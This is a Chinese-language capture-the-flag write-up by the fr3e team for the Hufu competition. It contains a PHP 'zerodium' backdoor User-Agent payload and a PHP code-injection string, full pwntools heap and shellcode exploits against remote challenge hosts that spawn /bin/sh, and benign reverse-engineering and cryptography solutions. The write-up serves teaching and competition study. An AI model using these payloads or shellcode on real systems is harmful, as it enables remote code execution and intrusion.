当前位置: 开发笔记 > 编程语言 > 正文

虎符网络安全技能大赛wpByfr3e

作者：蛮小蛮将军_415 | 来源：互联网 | 2023-07-14 16:59

大家好，我是fr3e战队队长now4yreal，上周和好ji友们还有学弟学妹们一起玩了虎符的比赛，赛题质量很高，给主办方点赞。最后排名第四，给前面三支队伍还有天枢、redbud、0ops等战队的各位

大家好，我是fr3e战队队长now4yreal，上周和好ji友们还有学弟学妹们一起玩了虎符的比赛，赛题质量很高，给主办方点赞。

最后排名第四，给前面三支队伍还有天枢、redbud、0ops等战队的各位大佬倒茶，大佬们太强了。战队内的学弟们（init、dem0、4ndy等等）还有好ji友wi1l太强了，我全程躺，感谢大家陪我玩。

在这里公开wp，希望和大佬们交流（整理仓促，大佬们轻喷，有问题联系我（逃 :p

web1||solved

User-Agentt: zerodiumsystem(‘cat /flag’); Connection: close

web2||solved

直接穿这个a，闭合。ENV%0a);phpinfo();%0aecho(1

pwn1 apollo || Solved

思路
首先走地图溢出导致可以越界写到最先申请的heap 的 size，之后多次调用函数修改size到0x81,可以overlap,之后利用tcache实现任意地址读写，最后打free_hook

exp # _*_ coding:utf-8 _*_ from pwn import * context.log_level = 'debug' context.terminal=['tmux', 'splitw', '-h'] # prog = 'start.sh' #elf = ELF(prog) # p = process(["qemu-aarch64","-g","1234","-L",".","./apollo"])#,env={"LD_PRELOAD":"./libc-2.27.so"}) # libc = ELF("./libc-2.27.so") p = remote("8.140.179.11", 13422) # p = process(["qemu-aarch64","-L",".","./apollo"])#,env={"LD_PRELOAD":"./libc-2.27.so"}) def debug(addr,PIE=True): debug_str = "" if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) for i in addr: debug_str+='b *{}\n'.format(hex(text_base+i)) gdb.attach(p,debug_str) else: for i in addr: debug_str+='b *{}\n'.format(hex(text_base+i)) gdb.attach(p,debug_str) def dbg(): gdb.attach(p) #----------------------------------------------------------------------------------------- s = lambda data :p.send(str(data)) #in case that data is an int sa = lambda delim,data :p.sendafter(str(delim), str(data)) sl = lambda data :p.sendline(str(data)) sla = lambda delim,data :p.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) it = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) bp = lambda bkp :pdbg.bp(bkp) li = lambda str1,data1 :log.success(str1+'========>'+hex(data1)) def dbgc(addr): gdb.attach(p,"b*" + hex(addr) +"\n c") def lg(s,addr): print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr)) sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05" #https://www.exploit-db.com/shellcodes #----------------------------------------------------------------------------------------- def exp(): # raw_input() # debug([0x4000002510,0]) ru("cmd> ")#qword_14078 # raw_input() cmd = "" #-----------------------------calloc and set cmd += "\x4d" cmd += "\x10\x10" #0x90 0x88 都分配0x100 # cmd+= "\x4d" #---------------------------- add 18 heap cmd+= "\x2a\x01\x04"#idx cmd+= "\x10\x00"#size = 0x60 # cmd += add(cmd,0,0x60) cmd+= "\x2a\x01\x05"#idx cmd+= "\x20\x00"#size = 0x60 # cmd += add(cmd,0,0x60) cmd+= "\x2a\x01\x06"#idx cmd+= "\x20\x00"#size = 0x60 # cmd += add(cmd,0,0x60) cmd+= "\x2a\x01\x07"#idx cmd+= "\x20\x00"#size = 0x60 # cmd += add(cmd,0,0x60) #---------------------------- add 1 heap # cmd += add(cmd,1,0x60) cmd+= "\x2a\x00\x01"#idx cmd+= "\x10\x00"#size = 0x60 #---------------------------- add 3 heap # cmd += add(cmd,1,0x60) cmd+= "\x2a\x00\x03"#idx cmd+= "\x10\x00"#size = 0x60 #---------------------------- add 5 heap # cmd += add(cmd,1,0x60) cmd+= "\x2a\x00\x05"#idx cmd+= "\x10\x00"#size = 0x60 # #---------------------------- add 7 heap # # cmd += add(cmd,1,0x60) cmd+= "\x2a\x00\x07"#idx cmd+= "\x10\x00"#size = 0x60 # #---------------------------- add 9 heap # # cmd += add(cmd,1,0x60) # cmd+= "\x2a\x00\x09"#idx # cmd+= "\x10\x00"#size = 0x60 # #---------------------------- add b heap # # cmd += add(cmd,1,0x60) # cmd+= "\x2a\x00\x0b"#idx # cmd+= "\x10\x00"#size = 0x60 # #---------------------------- add d heap # # cmd += add(cmd,1,0x60) # cmd+= "\x2a\x00\x0d"#idx # cmd+= "\x10\x00"#size = 0x60 #---------------------------- add # cmd += add(cmd,1,0x60) cmd+= "\x2a\x01\x08"#idx cmd+= "\x10\x00"#size = 0x60 cmd+= "\x2a\x03\x08"#idx cmd+= "\x10\x00"#size = 0x60 cmd+= "\x2a\x05\x08"#idx cmd+= "\x10\x00"#size = 0x60 cmd+= "\x2a\x07\x08"#idx cmd+= "\x10\x00"#size = 0x60 cmd+= "\x2a\x09\x08"#idx cmd+= "\x10\x00"#size = 0x60 cmd+= "\x2a\x0b\x08"#idx cmd+= "\x10\x00"#size = 0x60 cmd+= "\x2a\x0d\x08"#idx cmd+= "\x10\x00"#size = 0x60 cmd+= "\x2a\x0f\x08"#idx cmd+= "\x10\x00"#size = 0x60 #-----------------------------delete cmd+="\x2f\x00\x01" cmd+="\x2f\x00\x03" cmd+="\x2f\x00\x05" cmd+="\x2f\x00\x07" # cmd+="\x2f\x00\x09" # cmd+="\x2f\x00\x0b" # cmd+="\x2f\x00\x0d" cmd+="\x2f\x01\x08" cmd+="\x2f\x03\x08" cmd+="\x2f\x05\x08" cmd+="\x2f\x07\x08" cmd+="\x2f\x09\x08" cmd+="\x2f\x0b\x08" cmd+="\x2f\x0d\x08" cmd+="\x2f\x0f\x08" # # cmd+="\x2f\x00\x01" # #-----------------------------set flag cmd +="\x2b\x00\x01\x03" #idx 1 cmd +="\x2b\x00\x03\x03" # idx 3 cmd +="\x2b\x00\x05\x03" # idx 5 cmd +="\x2b\x00\x07\x03" # idx 7 # cmd +="\x2b\x00\x09\x03" # idx 9 # cmd +="\x2b\x00\x0b\x03" # idx b # cmd +="\x2b\x00\x0d\x03" # idx d cmd +="\x2b\x01\x08\x03" # cmd +="\x2b\x03\x08\x03" # cmd +="\x2b\x05\x08\x03" # cmd +="\x2b\x07\x08\x03" # cmd +="\x2b\x09\x08\x03" # cmd +="\x2b\x0b\x08\x03" # cmd +="\x2b\x0d\x08\x03" # cmd +="\x2b\x0f\x08\x03" # for i in range(4): cmd+="\x64" for i in range(0x81-4+1): cmd += "\x73" # cmd += "\x73" #--------------------------------------ovlap ok # cmd+= "\x2a\x01\x05"#idx # cmd+= "\x20\x00"#size = 0x60 # # cmd += add(cmd,0,0x60) cmd+="\x2f\x01\x05" # delete heap do2 cmd+="\x2f\x01\x04" # delete heap do1 cmd+= "\x2a\x01\x04"#idx cmd+= "\x70\x00"# #--------------------------------------leak cmd+= "\x2a\x01\x09"#idx cmd+= "\x20\x00"# cmd+= "\x2a\x01\x0a"#idx cmd+= "\x20\x00"# # # #--------------------------- 1620 # cmd+= '\x70' # cmd+="\x2f\x01\x0a" # delete heap do1 # cmd += "\x61" cmd+= '\x70' cmd+="\x2f\x01\x09" s(cmd) for i in range(8): sleep(0.5) s('/bin/sh\x00') for i in range(8): sleep(0.5) s('/bin/sh\x00') # sleep(0.5) # s() # for i in range(8):#0x00000040009b3630 0x4000013EF0 pay = 0x10*'d'+p64(0)+p64(0x31)+p64(0x00000040009b3630-0x18000) sleep(0.5)#0x40008bc790 s(pay) sys = 0x40008bc128 - 0x77128 + 0x3f2c8 # sys = 0x000000400085d000+0x4f550 #0x40008bc128 for i in range(1): sleep(0.5) s('/bin/sh\x00') sleep(0.5) lg('sys',sys) s(p64(sys)) # s('a') # ru("pos:1,10\x0a") # data = r(3) # data = uu64(data+'\x00\x40') # lg('data',data) # c0x4f3d5 execve("/bin/sh", rsp+0x40, environ) # constraints: # rcx == NULL # 0x4f432 execve("/bin/sh", rsp+0x40, environ) # constraints: # [rsp+0x40] == NULL # 0x10a41c execve("/bin/sh", rsp+0x70, environ) # constraints: # [rsp+0x70] == NULL #x/30gx 0x4000014078 # x/30gx 0x4000014010 # x/20gx 0x00000040008149b0 # x/10gx x/20gx 0x4000014088 it() if __name__ == '__main__': exp() # 0x2a 1018 add # 0x2b 1394 set_flag # 0x2d 14D4 # 0x2f 11f4 delete # 0x64 2080 # 0x61 1D10 # 0x77 1620 # 0x73 1990 # 0x4d eb8 # 0x70 show

pwn2 AGame_给转账 | solved

很简单的一道智能合约题，先调用root声明owner，在调用0xb8b8d35a方法即可

交互合约如下

完成交互后提交自己的合约地址即可

pwn3 SafeContract | solved

简单的数字溢出，随意发送任意数量ether调用despiot都可导致该溢出

交互合约如下

完成交互后提交自己的合约地址即可

pwn4 quiet || solved

vm题，有一处mmap地址执行，利用getc往那个地方写shellcode，然后执行即可

from pwn import * p = remote('8.140.179.11', 51322) #p = process(["qemu-aarch64","-g","1234","-L","/usr/aarch64-linux-gnu","./quiet"])#,env={"LD_PRELOAD":"./libc-2.27.so"}) #----------------------------------------------------------------------------------------- s = lambda data :p.send(str(data)) #in case that data is an int sa = lambda delim,data :p.sendafter(str(delim), str(data)) sl = lambda data :p.sendline(str(data)) sla = lambda delim,data :p.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) it = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) bp = lambda bkp :pdbg.bp(bkp) sym = lambda symbol :pdbg.sym(symbol) #elf=ELF("/lib/x86_64-linux-gnu/libc.so.6") # /lib/x86_64-linux-gnu/libc.so.6 /lib/i386-linux-gnu/libc.so.6 #libc=ELF("") sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" sh_x64_21="\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05" #https://www.exploit-db.com/shellcodes #----------------------------------------------------------------------------------------- shellcode="\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2"+"\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xe0\x63\x21\x8b"+"\xa8\x1b\x80\xd2\xe1\x66\x02\xd4" pay=(chr(35)+chr(41))*len(shellcode)+chr(71) sla('cmd> ',pay) sleep(1) sl(shellcode) ''' for i in range(len(shellcode)): sl(shellcode[i]) sleep(0.1) ''' it()

misc1 | | solved

查看日志，发现从1547行开始爆破flag

爆破成功时会sleep 2秒

根据这一点写脚本提取flag

得到

解密得到

re1 redemption_code | | solved

题目的 python 翻译版本长这样滴：

def check(target, inp): inputLen = len(inp) targetLen = len(target) test = [0] * (inputLen <<10) test[inp[0]] = 1 tmp = 0 for i in range(inputLen): for j in range(256): if j != inp[i]: test[256 * i + j] = test[256 * tmp + j] else: test[256 * i + j] = i + 1 tmp = test[256 * tmp + inp[i]] tmp2 = 0 for k in range(targetLen): tmp2 = test[256 * tmp2 + target[k]] if tmp2 == inputLen: return k - inputLen + 1 return -1 def pre(inp): target1 = "Ninja Must Die 3 Is A Cruel Game, So Hard For Me" if check(target1, inp) == -1: exit(-2) inp = "x" * 0xE pre(inp) target2 = "I Love Ninja Must Die 3. Beautiful Art And Motive Operation Is Creative." if check(target2, inp) == 7: print "flag{%s}" % inp

flag 就是第二个句子偏移 7 的 14 个字符 Ninja Must Die

re2 GoEncrypt | | solved
输入的 flag 要满足正则：
^flag{([0-9a-f]{8})-([0-9a-f]{4})-([0-9a-f]{4})-([0-9a-f]{4})-([0-9a-f]{12})}$

类似 flag{aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee}，然后取出关键部分拼接 aaaaaaaabbbbccccddddeeeeeeeeeeee，hexdecode 得到 16 个字节，前 8 和后 8 分别用 tea 加密，密钥是 03 02 01 00 07 06 05 04 0B 0A 09 08 0F 0E 0D 0C
由于是乱改的 tea，所以倒过来照抄，写个脚本解密

#include #include using namespace std; void decode(size_t *cipher, size_t *plain) { int idx = 0; size_t v19, v24, v26, v27, a1, v22; size_t low_dword = cipher[0]; size_t high_dword = cipher[1]; size_t key[] = { 0x00010203, 0x04050607, 0x08090A0B, 0x0C0D0E0F }; v22 = 0x12345678 * 32; while (idx <32) { v22 -= 0x12345678; v24 = low_dword; v26 = v24 + ((v24 >> 5) ^ 16 * v24); v27 = ((v22 + 0x12345678) >> 11) & 3; a1 = v26 ^ (v22 + key[v27] + 0x12345678); high_dword = high_dword - a1; v19 = high_dword + ((high_dword >> 5) ^ 16 * high_dword); low_dword = v24 - (v19 ^ (v22 + key[v22 & 3])); idx++; } plain[0] = low_dword; plain[1] = high_dword; } int main() { size_t plain[4]; size_t cipher[]{ 0x0EC311F0, 0x45C79AF3, 0xEDF5D910, 0x542702CB }; decode(cipher, plain); decode(cipher + 2, plain + 2); for (size_t i = 0; i <4; i++) { cout < } return 0; } 得到 3bbcf9ea29184fee8a2e201b47dfcb4e，按照正则的要求修改格式即可 crypto1 | | solved from math import gcd from functools import reduce E=EllipticCurve([0,213,0,288,0]) p=E((-200,680)) q=E((-200,680)) cnt=0 r=[] while 1: q=q+p x,y=q[0],q[1] a=(72-x+y)/(72-18*x) if(a<0): continue b=(72-x-y)/(72-18*x) if(b<0): continue c=(-36-8*x)/(36-9*x) if(c<0): continue p1,q1=a.as_integer_ratio() p2,q2=b.as_integer_ratio() p3,q3=c.as_integer_ratio() A=p1*q2*q3 B=p2*q1*q3 C=p3*q1*q2 #print(A^3+B^3+C^3==5*(A^2*B+A*B^2+A^2*C+A*C^2+B^2*C+B*C^2)+9*A*B*C) t=reduce(gcd, [A,B,C]) r.append((A//t,B//t,C//t)) cnt+=1 print("ok") if(cnt==6): break print(r)

用变换把方程转换为椭圆曲线，然后用生成元的倍数去试，检查解出来的a,b,c是不是为正数即可，然后通分化简为整数

crypto2 | | solved

n1=90491363059261404858550634231628058963249510634056675949243050070342967726901705474014306927602327030350384724177110635460575819174999690119596483244243479600712538918767265671875210900320134535674577409813015049083534046496520463201426519076941111176300156840093523729587718662300148396809204630544859119149 e1=168885479631267618895786982845222604163453078896291533672682347591744598107689212526033974774513653433252346257997820414442658988591213688157626171903932299809982342730274878146639873845642550557892032102862465267830686337683681811035549767605127670639313526152274657121913611059493817170297018143021110779877 n2=95095659207029012582441281486144446868010823436167102942651286702532916783769809925573460637458450988006229579100306132641666284428903268946094064959939187731480872200371279589619799501099719647308276024427981251602812835714397316315251516049360167072367461142715945513735666944539297649274039644651643860709 e2=803083831363140689387491043859995397264097623843277450416122235772461812328647926123252685647971839611777215549762999753046866799101827482369517811418620191075968232200493026341022069951100818193450315629944185492666858982140493791542156525823304188919134830223972206436313384674434426205057120372785617239573 n3=79783914666941430193016422767234758486269300813425360037124961732818657481292239838325070399038041076030925132009832656732232485316489140378503241203611852385887657171830207427052240486122880429096750734201402521125250313116205524437146696335787282704143922449422332849550092832299254353363532151938268614467 e3=684492483256695788393129421198297524550481983825005067209597057774764109623746650728270481031194051696472334243263072636994984124025741021144411447925322543452713770032130935145684958475930669835466496158115635503193348699515511486332577820479935984969535141042375968326457182345240372145420230964104483785721 M=int(sqrt(max(n1,n2,n3))) A=Matrix([[M,e1 ,e2 , e3], [0,-n1,0 , 0], [0,0 ,-n2, 0], [0,0 ,0, -n3]]) r=A.LLL()[0] t=6448620018588099396425434204075361085979505748421825391542928414037428401295999009398540542847674486590236258924166930776729142654822781998610732637074093747573878661308426284101993788074712212468655888538506429550109526389221508968338088792276719947679295618317170761 x=t//M y1=(e1*x-r[1])//n1 y2=(e2*x-r[2])//n2 y3=(e3*x-r[3])//n3 R=[] R.append([x,y1]) R.append([x,y2]) R.append([x,y3]) print(R)

因为共用x，用格很容易求解，同时也可以接出来y

masked_flag = 10629883656219490982178951599484437698263214790268091560719514148215968944141123323489358824379735126966804354267426040231682908197526817342035901781691470 ciphertexts = [{'n': 90491363059261404858550634231628058963249510634056675949243050070342967726901705474014306927602327030350384724177110635460575819174999690119596483244243479600712538918767265671875210900320134535674577409813015049083534046496520463201426519076941111176300156840093523729587718662300148396809204630544859119149, 'e': 168885479631267618895786982845222604163453078896291533672682347591744598107689212526033974774513653433252346257997820414442658988591213688157626171903932299809982342730274878146639873845642550557892032102862465267830686337683681811035549767605127670639313526152274657121913611059493817170297018143021110779877, 'c': (0, 90491363059261404858550634231628058963249510634056675949243050070342967726901705474014306927602327030350384724177110635460575819174999690119596483244243469196198986120292668239952402666838171832151959642809949669793954518190032439693973116745657766490465383207136884797416616202864323502381586901806453928514), 'hint': 25663983998278288319474560705}, {'n': 95095659207029012582441281486144446868010823436167102942651286702532916783769809925573460637458450988006229579100306132641666284428903268946094064959939187731480872200371279589619799501099719647308276024427981251602812835714397316315251516049360167072367461142715945513735666944539297649274039644651643860709, 'e': 803083831363140689387491043859995397264097623843277450416122235772461812328647926123252685647971839611777215549762999753046866799101827482369517811418620191075968232200493026341022069951100818193450315629944185492666858982140493791542156525823304188919134830223972206436313384674434426205057120372785617239573, 'c': (0, 95095659207029012582441281486144446868010823436167102942651286702532916783769809925573460637458450988006229579100306132641666284428903268946094064959939176080644834649736585931140833237424823927852722577715067469685760622261935834373569238657224079294882287377105449565799679890984772111495083088228691564783), 'hint': 47787248251787907615149478523}, {'n': 79783914666941430193016422767234758486269300813425360037124961732818657481292239838325070399038041076030925132009832656732232485316489140378503241203611852385887657171830207427052240486122880429096750734201402521125250313116205524437146696335787282704143922449422332849550092832299254353363532151938268614467, 'e': 684492483256695788393129421198297524550481983825005067209597057774764109623746650728270481031194051696472334243263072636994984124025741021144411447925322543452713770032130935145684958475930669835466496158115635503193348699515511486332577820479935984969535141042375968326457182345240372145420230964104483785721, 'c': (73041862154157371674229064670550888409216140053451529283374004436651536110734376938918521442316738516203639268463111472485680083502732108867931825491194808519825096059573881206695909907258008432595237281363578731293669489033897367074393143363419088244861083645807156213390581687771017186306856077620367500647, 77837817707573379707151623790394892748771598114914937592003582442426802996364758601494359727747880510291001949424184772858956540706002999451105625873493875954677023151702166989487010859391554750093501077015364319622792488092868684171640035107565651570183298377905027193006475189322440398876152882180702841119), 'hint': 6902140684527896190268467067}] masks = [] r=[[661281602633708663826486920028427898009447098405701242291443669957936453059596989424786500921975783032016279781143, 1234160442019081205971633839080171591517296670682179517951651316669120445932747593240541724314677115317356928552223], [661281602633708663826486920028427898009447098405701242291443669957936453059596989424786500921975783032016279781143, 5584530014107972751790443286838215319435330117138078723753388886031684850098305720586321389113525873796692845334453], [661281602633708663826486920028427898009447098405701242291443669957936453059596989424786500921975783032016279781143, 5673352682784161640574325568051734030879350274946435727408336124736359465461431142246637344016863104357076555679503]] cnt=0 for ct in ciphertexts: c, n, e, hint = ct['c'], ct['n'], ct['e'], ct['hint'] #x, y = recover_x_and_y(e, n) x,y=r[cnt] cnt+=1 p_plus_q_approx = (x*e + x)//y - 1 - n p_approx = (p_plus_q_approx + isqrt(p_plus_q_approx^2 - 4 * n)) // 2 p_top = p_approx >> 312 P. = PolynomialRing(Zmod(n), implementation='NTL') f = 2^312 * p_top + 2^96 * x + hint f = f.monic() delta = f.small_roots(X=2^216, beta=0.5, epsilon=0.05)[0] p = int(2^312 * p_top + 2^96 * delta + hint) q = n//p d = inverse_mod(e, (p+1)*(q+1)) masks.append(decrypt(c, d, n)) flag = reduce(lambda a, b: a ^^ b, masks, masked_flag) print(bytes.fromhex(hex(flag)[2:]).decode())